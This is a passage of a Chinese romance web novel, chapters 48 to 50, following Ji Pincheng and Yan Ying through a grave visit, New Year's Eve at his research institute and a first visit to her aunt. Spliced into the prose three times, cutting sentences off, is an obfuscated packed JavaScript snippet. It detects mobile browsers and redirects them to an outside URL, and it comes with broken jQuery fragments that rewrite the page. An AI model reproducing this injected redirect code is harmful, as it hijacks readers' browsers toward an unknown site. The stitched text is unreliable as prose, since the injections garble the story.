但季磊谦这份暗戳戳的炫耀让晏迎觉得到底是年轻不稳重,幼稚。 季品诚有些疑惑地看着她:“这有什么好炫耀的,我并不觉得这有什么炫耀的价值。” “没事,就是认识一小孩,就差把自己身高一米八三贴在脸上了。” 季品诚评价:“那他还挺…没事干的。” 晏迎笑了,越看越觉得他长得帅还贤惠能干。 她走近他,用南城方言对他说:“给我亲一下。” 季品诚听话地低下头,就在晏迎即将要亲上去的那一刻,厨房的门被推开了。 Ge:“Devin!让我看看你做的……” 他的话说到一半就卡住了。 晏迎差几厘米,就可以亲上季品诚了。 Ge抱着阿比关上了门:“你们继续哈哈哈。” 季品诚笑了笑,主动亲亲晏迎的脸:“没事没事,Ge叔叔在国外这么多年,亲一下对他来说已经见怪不怪了。” 晏迎红着脸岔开话题:“要不要我帮你把那个青椒切了?” 季品诚也装作若无其事地点点头:“好。” 48. 48 季母忌日的那天,南城开始下第二场雪。 他们出发去陵园之前,到家附近最大的花店买好了花。 是浅紫色的鸢尾花。 晏迎好奇:“鸢尾花是有什么特殊的寓意吗?” 还不待季品诚开口,捧着一大束鸢尾花的Ge转头,笑着为晏迎解答:“这是她最喜欢的花,我们年轻时候偷偷谈恋爱那会,我就会送她各种各样的鸢尾花。” 晏迎点头,但不免心下有些唏嘘,喜欢的不止是这花吧,还有花后面隐藏着的,人所寄托的记忆和感情。 季母的墓地被打扫得很干净,在他们来之前,已经有人来过了,不过那人显然没有投其所好,送的是一束白百合。 季品诚知道这束白百合是谁的手笔,他静默不语。 Ge面无表情地把那束花移到一边去,然后把紫色的鸢尾花献上:“我来啦,你在那边过得还好吗?” 墓碑上的照片已经褪色,那是一个长得很文静秀气的女人,她抿嘴微笑看向他们。 晏迎第一次见到季品诚的母亲,也第一次知道她的名字,许鸢。 Ge絮絮叨叨讲了很多,讲起自己在国外见过的新型鸢尾花品种,可惜那花儿太娇贵了,不能让他隔着千山万水带回来给她看看。 还讲起他最近的工作,说一切顺利,生活也还不错,就是一个人有些寂寞,鸢鸢,要是你在身边,或许会好上很多。 她曾经寄给他的那盒喜糖,早已过期多年,但仍然被他存放在他家的抽屉里,那张大红色的喜帖他也还留着,不过他私心,把新郎那栏的名字划掉,改成了自己的中文名。 最后,Ge起身,笑着对照片上的人说:“鸢鸢,你看Devin出息了,这小子深藏不露,现在也已经有了自己的爱人,你该放心了。” 季品诚牵过晏迎的手上前一步,酝酿了一下,弯弯唇角对母亲笑道:“妈妈,以前您总担心我的这个性格会孤单,怕我一个人孤独终老,会在你离开之后,没有人爱我。” “我那会还小,觉得人是靠喝水吃饭睡觉得以存活,没有爱又能怎么样,难道会活不下去吗?” 一阵温柔的风吹过,在这飘雪的天气里,吹拂在他们的脸上却一点也不寒冷刺骨。 晏迎紧紧握住季品诚的手,听他徐徐道来:“我现在意识到我错了,人如果想要更好地活下去,是需要爱作为人生的支撑的。” “爱是人生必不可少的东西。” Ge有些惊讶地对季品诚侧目,不敢相信这是他可以说出来的话。 面前挺拔英俊,成熟稳重的季品诚和他脑海里那个孤僻寡言的小男孩重叠,然后分离,割裂。 Ge心中被欣慰填满,到底是…长大了啊。 晏迎不知道为什么自己此刻居然有些紧张,这份紧张让她的手掌心都在这大冷天有些出汗。 是紧张和他的妈妈第一次见面吗? 不。 是紧张自己接下来要说些什么吗? 也不是。 她的思绪很乱,季品诚的声音却在她耳边更加清晰。 “妈,我现在遇到了一个很好的人,她叫晏迎,是她给我带来了爱,也教会了我怎么去爱。” 季品诚觉得眼角有些酸涩,但他还是坚持说完了最后一句话:“请您放心,我现在很幸福。” 晏迎终于明白了自己紧张的来源,但现在她在他的话里,心脏逐渐放松下来。 他提到“爱”这个字眼的时候,她的心都会跳快一拍,因为她格外地想知道,那些他最纯粹的感情里,有她的存在和痕迹吗? 现在她明白了,他的爱,都来源于她。 这份对待感情强烈的独占性让晏迎觉得自己自私又过激,可她转念一想又释怀,她原谅自己,因为爱的底色不就是给予的时候慷慨,收回的时候自私吗? 更何况,事已至此,事到如今,她根本不可能收回对季品诚的爱了。 她看向那张褪色的照片,和气质温婉的女人对视,心中徒生了巨大的勇气。 晏迎对许鸢说:“阿姨,感谢您将他带到这个世界上来,尽管他在别人眼里可能不是那么完美,但我想和您说,他是一个特别好的人,他的爱也很真挚温暖。” “他不仅仅是天文领域的奇迹,也是我的奇迹。” 季品诚低头看向她,晏迎默契地抬头和他对视,她露出一个张扬的笑容,仿佛夏日骄阳,融化遍地冰雪。 “我第一次被人用奇迹这个词来形容,”季品诚还有点不好意思了,“这个词用在我身上,也未免太隆重了吧。” 在季品诚的定义里,像是几百年才出现一次的ISON彗星才算得上是奇迹。 “怎么会!”晏迎的语气很坚定,“你完全值得我用这个词来形容你。” “而且,我就是要给你全世界最隆重的爱!” 有微风拂动,地上的紫色鸢尾花也被吹得簌簌作响,像是故人的微笑。 那风像是一只温柔的手,抚平季品诚多年前的伤口。 他其实是一个很迟钝的人,对感情总是有延迟性。 比如,小时候受过的伤害,留下的阴影,他到长大时才觉得是那样心痛,所以一直用淡漠来伪装自己。 现在,他可以迅速地,清晰地感受到,爱携带着温暖降临在他的身上。 而她,就是他的爱神。 Ge含笑看着两个人,觉得月老和阿弗洛狄忒也太会牵线了。 一个明媚灿烂,一个静水深流,光是并肩站在一起,就令人赏心悦目。 南城的第二场雪并不大,他们回去的路也没有被雪堵住,晏迎在车上听着Ge讲起北欧的大海、雪山还有极光,满眼冒星星。 “季老师!你去过北欧玩过没?” “去过一次,还是十二年前游学去的。” “我还没去过呢,什么时候我们两个去一次!” 季品诚打着方向盘,仔细想了想,和她谈恋爱以来,两个人因为工作忙都没有一起出去旅游过。 他思考了一下:“你要是想去的话,过完年我们就可以去,我来做攻略。” “行!”晏迎开始兴奋起来,“不过我们在去之前,还有更重要的事情要做。” “什么?” “见家长啊,”晏迎笑嘻嘻地看向他,“我都见过你妈妈还有Ge叔叔了,你还没见过我婶婶和我爸妈呢。” 她得寸进尺地凑过去大声说:“我必须要让他们知道,我现在的男朋友到底有多好。” 季品诚突然紧张起来:“好,去之前先让我准备准备,不能失了礼数。” Ge叔叔在南城呆了几天就回去了,毕竟他还有工作,以及外国可不过新年,并没有很长的假期。 出乎意料,Ge最舍不得的居然是阿比大王。 他临走之前和阿比大王依依惜别,其人狗伤感程度堪比《情深深雨蒙蒙》。 “Devin,晏迎,你们一定要照顾好阿比,它是一个非常可爱的孩子。” “知道啦知道啦,Ge叔叔,祝你一路顺风! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284190|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 季品诚看了一眼腕间手表:“Ge叔叔,如果您不在三十分钟之内出发,就彻底赶不上飞机了。” Ge在走之前,深深看向晏迎,冲她挥挥手道:“Thankyou。” 这句“Thankyou”是他作为长辈,替许鸢说的。 另外,他没有告诉这两个孩子,紫色鸢尾花的花语。 是暗中仰慕,绝望的爱,以及可遇不可求,可遇不可留,可遇不可有。 晏迎把去见婶婶的日子定在大年初二。 季品诚好奇:“为什么不能大年初一就去?” “大年初一你得和我还有小远阿比一起过,大年初二正好早上出发,中午就可以到婶婶家啦。” 季品诚不再多问:“好。” 晏迎一走,坐在一边打游戏的晏远就压低声音对季品诚道:“姐夫,你知道为什么得是大年初二嘛,因为大年初二在我们那里呀,是女婿回门的日子。” 季品诚静止了几秒,红着脸低头笑道:“嗯,那这日子选的也没错。” 晏远“啧啧”两声:“这个家没我都得散,姐夫你是不知道我给你们做了多少助攻。” 还当起了德华天天饭后把阿比大王带去公园散步,给他们留下二人世界。 季品诚冲她点点头:“过年姐夫给你包一个大红包。” “汪汪汪!” “嗯,阿比你也有。” 但人算不如天算,除夕之前和学校合作的天文科研所出了点事故,相关人员被紧急召回。 这事故其实和季品诚没多大关系,但只有他参与补救工作,或许原定的计划才有一线修补好的生机。 季品诚收到信息的时候是在半夜,晏迎已经在他的怀里睡着了,他小心翼翼地伸出手够到手机,把亮度调到最低,换成深色模式去看消息。 他怕手机屏幕的光弄醒晏迎。 群里的这个点发信息并且艾特所有科研技术人员,肯定十万火急。 上面要求,早上八点半就要来科研所集合。 季品诚皱着眉头看完了群里面的所有文字,还有一周就要过年了,这个年,看来有的忙了。 他定了一个闹钟,轻轻放下手机,看向晏迎的时候,发现她的眼睛也在黑夜里亮晶晶地看着自己。 他呼吸一滞,和她对视几秒:“抱歉,吵醒你了。” “没,是我睡得浅,是出什么事了吗?” 季品诚笑着叹了口气:“科研所那边出了问题,估计要忙几天了,但大年初二肯定可以陪你和晏远一起回老家。” “没事儿,婶婶那边晚几天也没关系,工作重要。” 季品诚在心里算了算:“最多忙到除夕,我不想错过大年初二这个日子,毕竟是女婿回门的日子不是吗?” 晏迎一愣:“你怎么知道…” 她话说出口便反应过来:“肯定是小远告诉你的吧。” 听出了她话里的不好意思,黑夜里,季品诚低低笑了一声。 晏迎拍拍他的背:“快睡吧,明天是不是得早出晚归了?” “嗯,明天早上八点半就得到科研所集中,晚上也不知道什么时候回来,你别等我了,不愿意做饭就点外卖。” “好。” 安静了大概有五分钟,季品诚以为她重新睡着了。 他想翻个身,自己的手被人轻轻捏了捏。 “没睡着吗?” “没,就是有些舍不得你。” 季品诚摸摸她的头发:“我会尽快处理完的,放心,问题不大。” 49. 49 季品诚这几天简直忙到起飞了。 他第一天晚上十一点才回家,匆忙拿了些换洗衣物和洗漱用品就住在了科研所。 因为这次事件涉及机密,且手机会干扰试验设备,所有科研技术人员在进去之前,都必须将手机上交,防止泄密。 季品诚上交手机前给晏迎打了一个电话,说明情况之后,他对着电话那头轻声说:“没事,你放心,这几天我不能回家了,你照顾好自己。” 他把手机彻底关机后,科研所和他相识的同事调侃道:“是谁让我们季教授这么念念不忘啊?” 季品诚还没来得及回答,有人已经替他回答了:“王院士,您没看季教授置顶的那条朋友圈啊,他女朋友可漂亮了,和大明星似的,要是我进去了几天见不到,我也舍不得。” 季品诚不理会他们的调侃,笑道:“还有心情在这里开玩笑呢,进去吧,争取早点处理完,回家和家人团聚。” 他说完这句话的时候心口流淌过一阵异样的情愫,换做是以前,哪怕去个十天半个月甚至两三年他都无所谓。 反正过年家里只有他一个人,过与不过,于他而言,意义不大。 但现在不一样了,他也有了所挂念的人,连带着节日的意义都变得非比寻常。 季品诚喝了杯特浓美式,鼓足干劲开始工作。 一边的晏迎在给办公桌上的翠翠和小绿浇水。 季品诚放寒假了,他办公桌上晏迎送给他的小绿也被他拿了回来和翠翠团聚。 要不然小绿放在南城大学一个寒假就得蔫巴掉。 晏迎放下喷水壶,摸了摸小绿的叶子,不知道他被关在那里工作有没有吃饱穿暖睡好。 算了,想也没用,晏迎叹气,那个工作狂工作起来没日没夜的劲头她又不是没见识过。 她的心间被一种名为“思念”的情绪所缠绕,这种感觉太奇怪了,让她在吃饱穿暖睡好,把阿比大王和翠翠小绿小青也一起养好的前提之下,宁静的心总是有点漂浮不定。 晏迎趴在办公桌上,准备用最后几天的年终工作来麻痹自己。 除夕的前一天,晏远和晏迎坐在一起商量着年夜饭吃些什么,两个人大眼瞪小眼,想了半天还是觉得别搞太复杂了,就弄点简单点的得了。 毕竟懒人有懒福嘛。 她们最后敲定买点现成的卤煮和八宝饭,饺子皮也买现成的,至于饺子馅就用料理机“日”的一声打碎就完事了。 一拍即合,姐妹俩开干。 卤煮买了点香肠、猪蹄、牛肉和豆干素烧鹅,八宝饭特意买了条锦鲤形状的,但是蒸出来的时候完全看不出来是一条鱼,更像是阿比大王吃多了的产物。 她们皱眉看着盘子里的八宝饭,想不出来是哪里出了问题,算了,能蒸熟并且能吃就行。 饺子皮倒是越来越高级了,居然还有现成的彩色饺子皮卖,用菠菜汁和火龙果汁还有胡萝卜汁调和而成,非常符合晏迎的猎奇心理。 采购完这些倒是不费人,所以晏迎特别勤奋地弄了两种口味的饺子馅。 一种是素三鲜的,青菜、鲜笋和香菇。 一种是玉米猪肉馅的。 晏迎一边包饺子一边夸自己和妹妹:“小远我们太勤奋了,饺子居然没有买速冻的水饺来煮着吃。” 晏远看着一堆包的歪歪扭扭的饺子,“噗嗤”一声笑了出来:“其实姐姐你心里也在后悔为什么没有买现成的吧。” 晏迎用力捏着饺子皮,把馅包得严严实实:“算了吧,我们就别追求好看了,到时候下锅煮别破皮露陷就行。” “破皮露陷也没事姐,我们放点豆瓣酱在上面拌一拌就是臊子面!” 晏迎被她乐观的精神所打动:“你说的对,车到山前必有路,不管发生什么事情都有解决的办法!。” 她们包了一下午终于包好了,下锅煮的时候晏迎胆战心惊,幸好没有破皮,饺子一个个都很完整,而且煮熟了。 她松了一口气,在捞饺子的过程中,她突然想到了季品诚。 他厨艺那么好,上次给她包包子的时候,包子上面的褶皱都转得那么漂亮,包饺子对他来说肯定是手到擒来吧。 他看见她和晏远包的这堆丑丑的饺子会不会笑话她们? 他煮饺子的时候肯定不会担心破皮或者是没有煮熟吧。 晏迎吃饺子的时候都有点心不在焉的,晏远倒是吃的香甜,阿比也有一盘饺子,是没有放盐的纯猪肉馅包的淡口饺子。 唉,连阿比大王今天都有饺子吃了,要是季品诚在家该有多好。 晏远看出了她的不对劲:“姐,怎么啦,没精打采的,是不是累啦?” “不是,”晏迎笑了笑,“我就是…有点想他了。” 不用猜都知道她口中的“他”指的是谁。 晏远“啧啧”两声:“姐,其实你和姐夫才分开五天而已,怎么搞得和你们分开好多年了似的。” 晏迎回答:“小孩子懂什么,这叫一日不见如隔三秋,度日如年。” 外头在此刻响起了烟花爆竹的声音。 因为这片只有少数几个地方不禁止燃放烟花爆竹,所以声音并不是非常大,阿比大王也没有被这突如其来的声音吓到。 晏迎放下筷子朝窗外看去,一朵蓝色的烟花在漆黑的夜空中绽放,宛如满天流星坠落地球。 晏远“哇”了一声:“姐!这真的好美!” 是的,真的很美,晏迎屏住呼吸去看,只顾的欣赏,都没有了拿起手机拍照记录的心思。 她只想用自己的眼睛去记录它的绽放和消散,生怕错过一分一秒。 她透过这蓝色的烟花,想到了季品诚。 他就像是这绚烂的烟花来到她的生命里,她被他的冷静、理智还有温柔所吸引,然后义无反顾地走进他的世界,见证爱与被爱的奇迹。 人生海海,在浩瀚的宇宙里,渺小如尘埃,短暂如烟花。 晏迎感受到自己的心跳突然加快,像是一种暗示。 他应该也马上就要回来了吧。 季品诚是在晚上九点四十左右的时候拿到了自己的手机,一切问题在除夕这天都解决完了。 他松了一口气,在科研所的宿舍里疲惫地坐下。 说是坐下,可他几乎是半躺的姿势,这几天的高强度工作和不能出一丝差错的精密性让他现在的大脑只想放空。 他打开手机,看了眼屏幕上晏迎的照片,就再也挪不开眼睛。 他伸手摸摸她的笑靥,从她弯弯的眼睛再到她咧开的嘴巴,他的嘴角也情不自禁地扬起。 好想念她,好想立马见到她,但他现在疲惫的身体恐怕是不能开车回去了,这里离家里还要点路,几乎是要跨越大半个南城。 这个点晏迎肯定没有睡,他拨通了她的电话。 几乎是一秒就接通,晏迎的声音很惊喜:“季老师!你忙完了!” 季品诚努力打起精神来和她说话:“嗯,我都忙完了,一切都很顺利,我现在在宿舍里,单人间,只有我一个人,明天早上我就开车回家见你。” 晏迎听得出来他此刻很疲惫:“你吃过饭了吗?” “还没有,不过也不是很饿。”他在逞强,其实忙到现在都饿死了,科研所发的盒饭很难吃,季品诚没有拿,因为他并不想凑合。 所以饿肚子也是活该,他不愿意麻烦晏迎。 “好吧,那你早点休息,我这里也一切都好,晚安。” “嘟嘟嘟”她挂掉了电话。 季品诚握着手机愣住,她的电话挂掉的有点快,他其实还想再听听她的声音,听她说除夕是怎么度过的,以及今天开不开心。 他放下手机,进卫生间洗漱,洗完澡照镜子的时候想找剃须刀却发现自己忘记带了。 镜子里的人看上去有些憔悴有些落魄也有些可怜,黑眼圈有点重,以及下巴上长了一圈青色的胡渣。 他伸手摸摸自己的下巴,还有些扎人。 但季品诚心里是庆幸的,庆幸自己刚刚没有和她打视频电话,没有被她看见自己这副不好看的模样。 他打开暖气倒在床上,一下子却又睡不着了,想发消息给晏迎问她在干什么,又有点犹豫。 思来想去之间,他慢慢在酝酿睡意,不知不觉已经过去了一个多小时,他没有可以睡着。 手机电话铃声响起,是晏迎的专属音乐。 季品诚立马从床上坐起,接通电话。 “喂?”他不知道是什么了,心跳在加速。 “睡着了?”她似乎在笑。 “还没,在床上发呆。” “那快点给我开门。” 季品诚的大脑几乎要反应不过来了,他快速下床,在握住门把手的那几秒,他犹豫了。 毕竟自己现在不好看。 可身体超过大脑做出本能反应,他的手扭动门把手,门被打开了。 晏迎裹得严严实实,只露出一双漂亮的,含笑的眼睛。 外面天寒地冻,她衣服上白色的似乎是霜冻。 科研所在山上,季品诚不敢相信她是怎么把车停在山脚,又爬山过来的。 季品诚赶紧拉着她进来,替她解开围巾帽子还有口罩,捂着她冷冰冰的脸颊。 他想问她怎么找到这里的,又想起来自己曾经带她来到自己的宿舍参观过,还教她用天文望远镜观察星星。 宿舍楼的门卫也是认识了她才肯放她进来。 季品诚有点心疼又有点好笑:“你跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292008|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大老远过来就是给我送饭?” 晏迎把保温饭盒放在他的书桌上,舒展了一下筋骨钻进他的怀里:“知道这里的饭菜难吃,你肯定不会好好吃饭宁愿饿肚子,其实我不止是来送饭,更重要的是我想你了,想在除夕和你一起跨年,我实在是不想错过今天。” 季品诚把她紧紧抱在怀里,心中百感交集一下子不知道该说些什么,果然人的感情到了最浓郁处是会词穷的。 晏迎抬头看他,笑容里面有些心酸:“这几天得有多辛苦,把我们季老师折磨成这样。” 季品诚笑着想吻她额头,但又停止,他怕自己的胡茬会扎到她。 他清了清嗓子有些不好意思道:“我回去收拾一下就好了。” 晏迎听出了他的弦外之音,皱眉苦笑:“谁嫌弃你了,你哪怕这样也是好看的,特别特别帅。” 季品诚不太相信,觉得她要么是情人眼里出西施要么是故意哄着自己:“真的吗?” “真的,比珍珠还真,你快点吃饭吧。” 季品诚打开饭盒的时候有些震惊,他看了看里面五彩斑斓的,长得鼓鼓的,奇形怪状的面团,又看了看咬着下嘴唇一脸讪笑的晏迎,不知道这到底是什么。 晏迎用眼神示意他吃一个尝尝:“这是我做的五彩爱心饺子,虽然长得奇怪了点,但是味道还是非常正常好吃的!你不信吃一个试试!” 季品诚笑了,他透过这些胖胖的饺子几乎可以想象到她笨拙地包饺子的场景。 兴许是有爱的加持,季品诚觉得这些饺子格外好吃,胜过他从前吃的一切饺子。 晏迎不光带了饺子,还带了一些卤味和点心。 季品诚好几天没有吃到好吃的了,很给面子的吃了个干净。 晏迎打量了他的宿舍一眼,虽然有些简陋,但是非常整洁,物品摆放得一丝不苟,地面也很干净。 最主要的是宿舍是上下铺,上铺虽然没人,被季品诚放了一些行李,但收拾一下还是可以住人的。 晏迎爬上去看了一眼,冲季品诚兴奋道:“季老师,你这有没有什么多余的一套床单被子枕头什么的,我今天就睡你上铺了,我上学那会也是睡的上铺!” 季品诚的眼睛没有看她,他停顿了一下,迅速思考了几秒:“没有。” 其实是有的,在柜子里头,但很久也没有用过了,也不知道东西全不全,季品诚就当没有了吧。 晏迎从上铺的床板上爬下来,坐在了季品诚的下铺,冲他笑道:“那季老师今天准备安排我睡哪呢?” 季品诚和她那双狡黠的眼睛对视,仿佛被她看穿了自己的心思。 他感受到自己的耳朵有些发烫,其实就是很寻常的一句话,他也不知道自己为什么要脸红耳朵热。 “你就和我一起睡下铺吧,两个人挤一晚上也是够的。” 宿舍的大灯太刺眼了就没开,只开了他书桌上的台灯。 晏迎看着昏黄的灯光下,清瘦的,有点胡子拉碴的,只穿了件白色背心的他,心中浮动起了阵阵涟漪。 季品诚歪头看她,拿出手在她面前挥了挥:“怎么看着我发呆,在想什么呢?” 晏迎一下子抓住了他的手,和他十指相扣。 她温柔地看着他:“我在看你呀,品诚。” 她很少叫他“品诚”的,要么叫他“季老师”,要么连名带姓叫他“季品诚”。 这个温馨的氛围里,被她突然一叫,季品诚觉得自己的心口都泛动着一汪温柔的水。 晏迎摸摸他倦乏的眉眼:“我刚刚觉得自己看到了四十岁的你,长了胡子,穿着老头白背心。” 季品诚睁大眼睛:“这几天太忙了是没有以前好看了,回家收拾一下就行,也不至于让你幻视四十岁吧!” 晏迎很少见到他有激动的情绪,觉得好笑地安慰道:“我没说你老!也没说你不好看了!我刚刚的意思是,我想和你永远在一起,哪怕再过二十年、四十年、六十年。” 季品诚想压住自己嘴角的笑,却怎么也压不住。 他把她拉进怀里,嘴硬道:“那我也要好好收拾我自己,让四十岁的时候你还觉得我像二十岁。” 他身上刚刚洗完澡的肥皂味钻到晏迎鼻子里,她仔细一嗅,是清新的柠檬味道。 四十岁的季品诚,肯定会更帅了吧。晏迎在心里偷着乐,更加成熟,更加稳重,更加英俊。 并且永远是她的。 那个晚上,她靠在季品诚的怀里和他聊着一天发生的寻常事,聊着聊着,晏迎头一歪就睡着了。 她还没有来得及说到,那个很好看的蓝色烟花。 时针已过午夜十二点,新的一天来临,万物更新。 季品诚在她耳边轻声道:“新年快乐。” 50. 50 大年初二那天,季品诚醒得很早,他经过了一天的休息已经恢复了之前的好气色。 他蹑手蹑脚地起床,准备好好收拾一下自己,第一天上门,肯定要留下一个好印象。 晏迎醒过来的时候,他已经容光焕发地站在了她面前。 晏迎揉揉自己的眼睛,觉得肯定是自己没睡好,还在梦里。 她闭上眼睛打算继续睡,但鼻子闻见一阵漂浮的雪松香气。 她睁开眼,季品诚那张清冷英俊的脸无限放大,在她的额头上落下一吻。 “早上好。”他冲她微笑。 那个吻,让晏迎拥有了一点真实的触感,她知道面前的一切不是梦。 她睁大眼睛,看向那张从容镇定的脸,我去,这也太好看了吧… 她伸出手,让季品诚把她拉了起来。 晏迎清了清有些干燥的嗓子,季品诚把一边倒好的温水递给了她。 “你几点起床的?”晏迎打量他这一身穿搭,看似低调,但从上到下每一件,哪怕是腕间的手表都是经过了精心地挑选。 这家伙居然还懂美拉德色系的叠穿了,看来跟着她这个大设计师耳濡目染,时尚品味也是提高了不少。 “五点半。” “这么早!”晏迎又震惊又想笑,她看了眼手机上的时间,现在是早上七点半,洗漱化妆一下出发正好中午之前就可以到婶婶家拜年。 晏迎拉着他的手下床:“我也起了!” 季品诚的声音轻轻从她耳边传来:“你觉得…怎么样?” 晏迎的脑子还没彻底清醒,她回头看他:“啊,什么怎么样?” “我今天怎么样…” 晏迎忍不住笑了,原来是在问这个啊。 她替他理了理衣领,虽然他的衣领已经整齐到不需要再多此一举了。 她只是想借这个动作靠近他,然后亲亲他的侧脸夸奖道:“非常完美,我早上起床的时候还以为自己没睡醒还在梦里呢,我说怎么见到神仙一样英俊潇洒的人啦。” 季品诚被她柔软的语气弄得不好意思,打岔道:“你快去洗漱吧,别迟到了。” “好好好,等我!” 晏迎打开衣柜也挑了件和季品诚款式相似的深棕色大衣,颇有点情侣款的意思。 她里面的毛衣选了件亮眼的浅粉色,整个人看上去稳重又不失俏皮。 她化完妆,拿着包下楼,晏远已经在帮季品诚往车里搬东西了。 阿比大王则是跟着他们跑,一路“汪汪汪”为他们打气加油。 晏远见到她,冲她吐槽道:“姐,姐夫都快要把超市往车里搬了,我估计婶婶家的客厅都要放不下了。” 晏迎也来一起帮忙,她看着被塞满的后备箱,冲季品诚笑道:“你买这么多东西干什么,怎么还有根人参和一盒燕窝啊?!” 季品诚倒是非常满意:“第一次上门,总得要让婶婶看到我的诚意。” 阿比:“汪汪汪!” 旁边的晏远悄悄冲季品诚竖了个大拇指,季老师现在的觉悟不是一般的高啊,怪不得可以年纪轻轻就当上教授,天资聪颖,孺子可教也。 三个人一条狗坐上车,晏远在后座抱着睡着的阿比看风景。 晏迎看着季品诚认真开车的样子,忍不住道:“我怎么觉得季老师你在偷偷笑啊。” 季品诚非常坦然:“因为我很开心啊。” 晏迎笑着“哼”了一声,故意逗他:“就是回去吃个饭而已,某人的最终表现怎么样,还是要本小姐敲章盖定。” “那是从现在开始打分吗?” “对啊,不过你现在表现特别好,一直在加分没有扣过分哦!” “那既然表现这么好,有什么奖励吗?” 行啊,晏迎眯了眯眼睛,季品诚现在已经学会问她要奖励了,他既然这么主动,她当然不会吝啬奖励他了。 晏迎凑过去想亲他一下,但又想到晏远还在后面,她停下了自己的动作。 季品诚压低声音:“没事,她已经和阿比一起睡着了。” 晏迎飞速吻了一下他的侧脸:“那我先给你一个小小的奖励,大大的奖励以后再告诉你。” 装睡的晏远:“……” 被晏远抱住不能乱动的阿比大王:“……” 季品诚差不多又开了一个小时就到了婶婶家。 婶婶和晏越已经站在门口迎接他们了,季品诚把车停好,脸“唰”一下红了。 晏迎看他一眼:“这是怎么了?脸这么红?” “紧张。” “诶呦,”晏迎安抚地拍拍他的手背,“别紧张,婶婶肯定会特别喜欢你的。” 季品诚深呼吸一口,给自己做了几秒钟心理建设,拉开车门下车。 晏远已经抱着阿比和婶婶欢快地打招呼了,阿比见到谁都热情,晏越蹲下来逗着它玩。 季品诚和晏迎手牵着手走到婶婶面前,还没等晏迎开口介绍,季品诚冲婶婶露出一个得体的微笑:“婶婶您好,我是晏迎的男朋友,我叫季品诚。” 婶婶眼睛放光,特别满意:“快进来坐坐,一大早开车来累了吧,家里有刚泡好的龙井茶。” 季品诚打开汽车后备箱:“第一次见面,不知道您喜欢什么,就买了些补品给您,希望您能喜欢。” “哎呀,第一次来带这么多东西干什么!晏越,快帮你姐姐姐夫一起搬东西!” 晏越第一次见到这么多补品,她看着都觉得自己已经被滋补得鼻子要冒血了,她撸起袖子道:“来了来了!” 阿比和婶婶家的大黄一起在院子里玩球,大黄也是一只性格特别好的小狗,一见到阿比就亲热地摇尾巴,两只小狗玩得特别开心。 季品诚喝着婶婶递给他的龙井茶,和婶婶聊着天。 婶婶也不多问他的家庭,这是晏迎来之前特意关照的。 婶婶和他聊着工作,知道他是大学老师还是科研所的研究员之后更加满意了。 这小伙子长得这么俊俏,还那么有文化,有内涵,有气质,多难得啊,诶呦,越看越喜欢。 晏越和晏远挨着晏迎坐在一起,晏越小声道:“姐姐,你不是说姐夫是社恐吗?我看姐夫挺社牛的啊。” 晏远冷笑:“呵呵,咱姐夫这是在为爱变e呢,没认识咱姐之前,活脱脱一冰山男,冷酷哥。” 晏迎坐在她们两个中间,侧过头去看和婶婶交谈甚欢的季品诚,两个人对视,季品诚冲她微微一笑,一副手到擒来的模样。 晏迎压低声音,对两个妹妹晃了晃自己玻璃杯里的绿茶:“有的人吧,就像是这茶叶,没泡水之前看起来皱皱巴巴,被水一泡又是一副样子。” 晏远恍然大悟:“姐姐,姐夫是茶叶,那你岂不是把他泡开来的水!” 坐在不远处的季品诚被杯子里绿茶呛了一嗓子,止不住的咳嗽。 晏远:“……姐夫你慢点喝。” 中午吃完饭,婶婶给了季品诚一个红包。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292009|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>季品诚离开季家之后,长这么大以来,第一次被人塞红包。 他本能地想要拒绝,但婶婶塞到了他的大衣口袋里。 “拿着吧小季,里面的钱不多,就是第一次见面,长辈的一些心意而已。” 婶婶笑了笑:“我这也是替晏迎爸妈给你的,可不许推脱了。” 晏迎捏捏他的手掌心:“收下吧,咱们别辜负婶婶的一片心意。” 下午他们陪着婶婶坐着又聊了会天,就出发去给晏迎的父母上坟。 上坟的一些纸钱蜡烛什么的,陵园的小卖部都有的卖,晏迎只是去了附近花店买了一束鲜花。 是一大束白色的马蹄莲。 这个陵园其实挺偏的,要绕过一段弯弯绕绕的山路才能抵达。 晏迎抱着那束白色马蹄莲,心情有点复杂。 父母已经离世快二十年了,晏迎和晏远连他们的样子都有些模糊了,只是隐隐约约记得他们给自己带来的感觉。 母亲温柔文雅,父亲成熟稳重,他们很相爱,很有耐心,是一个完美的家庭组合,但是这份美好短暂如昙花一现。 晏迎也曾经无数次幻想过,如果父母没有出意外离世,自己的生活应该会是怎么的呢? 这么多年想着想着,她也放下了,永远不可能发生的事情,只能成为一个谜团。 季品诚察觉到她有些低落,有些担心地看着她,晏迎隔着白色的马蹄莲朝他笑笑:“我没事,只是在发呆而已。” 